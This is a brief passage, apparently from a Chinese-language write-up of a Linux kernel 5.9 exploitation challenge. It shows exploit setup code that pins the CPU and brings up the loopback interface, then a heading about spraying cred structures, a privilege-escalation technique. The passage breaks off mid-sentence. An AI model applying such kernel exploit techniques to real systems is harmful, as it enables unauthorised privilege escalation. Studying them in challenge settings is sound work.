if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { perror("[-] sched_setaffinity()"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { perror("[-] system(/sbin/ifconfig lo up)"); exit(EXIT_FAILURE); } } spray cred 由于本题是在kernel 5.9内,...